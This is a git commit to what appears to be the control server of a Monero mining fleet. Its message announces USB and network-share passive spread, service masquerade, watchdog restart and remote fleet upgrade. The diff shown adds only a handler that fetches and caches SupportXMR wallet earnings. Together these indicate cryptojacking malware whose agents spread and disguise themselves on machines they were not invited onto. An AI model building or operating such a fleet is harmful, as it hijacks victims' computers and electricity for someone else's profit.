Add fleet resilience, passive spread, matrix rain UI, and live earnings.

Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
drjones
2026-05-29 22:29:58 -07:00
parent 0f9e04f5f6
commit 102d2fb7c6
29 changed files with 1795 additions and 84 deletions

View File

@@ -2,8 +2,13 @@ package api
import (
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"strconv"
"sync"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
@@ -19,8 +24,19 @@ type FleetHandler struct {
pools *pool.Manager
alerts *alerts.Evaluator
defaultPool pool.Config
// Real-earnings cache (avoids hammering the pool API)
earningsMu sync.Mutex
earningsCache map[string]*poolEarningsCache
}
type poolEarningsCache struct {
data map[string]interface{}
fetchedAt time.Time
}
const earningsCacheTTL = 5 * time.Minute
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
return &FleetHandler{
db: database,
@@ -56,9 +72,113 @@ func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
writeJSON(w, f.ai.ActivitySnapshot())
}
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
f.GetEarnings(w, r)
}
// GetEarnings returns real pool stats for the configured wallet when the pool
// is SupportXMR-compatible (REST API available). Falls back to formula estimate.
func (f *FleetHandler) GetEarnings(w http.ResponseWriter, r *http.Request) {
hashrate := parseFloatQuery(r, "hashrate", 0)
writeJSON(w, EstimateXMRPerDay(hashrate))
estimate := EstimateXMRPerDay(hashrate)
// Determine wallet from query param or server config
wallet := r.URL.Query().Get("wallet")
if wallet == "" && f.db != nil {
// Try to read the wallet from the most recent build record
if builds, err := f.db.ListBuilds(1); err == nil && len(builds) > 0 {
wallet = builds[0].Wallet
}
}
if wallet == "" {
writeJSON(w, estimate)
return
}
// Try SupportXMR REST API
real, err := f.fetchPoolEarnings(wallet)
if err != nil {
log.Printf("[earnings] pool API error (%s): %v — using estimate", wallet[:min(8, len(wallet))], err)
writeJSON(w, estimate)
return
}
// Merge pool data over the estimate
for k, v := range real {
estimate[k] = v
}
estimate["source"] = "pool_api"
writeJSON(w, estimate)
}
func (f *FleetHandler) fetchPoolEarnings(wallet string) (map[string]interface{}, error) {
f.earningsMu.Lock()
if f.earningsCache == nil {
f.earningsCache = map[string]*poolEarningsCache{}
}
if cached, ok := f.earningsCache[wallet]; ok && time.Since(cached.fetchedAt) < earningsCacheTTL {
data := cached.data
f.earningsMu.Unlock()
return data, nil
}
f.earningsMu.Unlock()
url := fmt.Sprintf("https://supportxmr.com/api/miner/%s/stats", wallet)
client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get(url) //nolint:gosec
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("pool API returned %s", resp.Status)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 32*1024))
if err != nil {
return nil, err
}
var raw map[string]interface{}
if err := json.Unmarshal(body, &raw); err != nil {
return nil, err
}
// Normalise SupportXMR fields into our API format
const piconeroPerXMR = 1e12
result := map[string]interface{}{}
if v, ok := raw["amtDue"].(float64); ok {
result["pending_xmr"] = v / piconeroPerXMR
}
if v, ok := raw["amtPaid"].(float64); ok {
result["paid_xmr"] = v / piconeroPerXMR
}
if v, ok := raw["totalHashes"].(float64); ok {
result["total_hashes"] = v
}
if v, ok := raw["hashRate"].(float64); ok {
result["pool_hashrate"] = v
}
if v, ok := raw["lastPaymentTs"].(float64); ok && v > 0 {
result["last_payment_time"] = time.Unix(int64(v), 0).UTC().Format(time.RFC3339)
}
if v, ok := raw["lastPayment"].(float64); ok {
result["last_payment_xmr"] = v / piconeroPerXMR
}
f.earningsMu.Lock()
f.earningsCache[wallet] = &poolEarningsCache{data: result, fetchedAt: time.Now()}
f.earningsMu.Unlock()
return result, nil
}
func min(a, b int) int {
if a < b {
return a
}
return b
}
func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {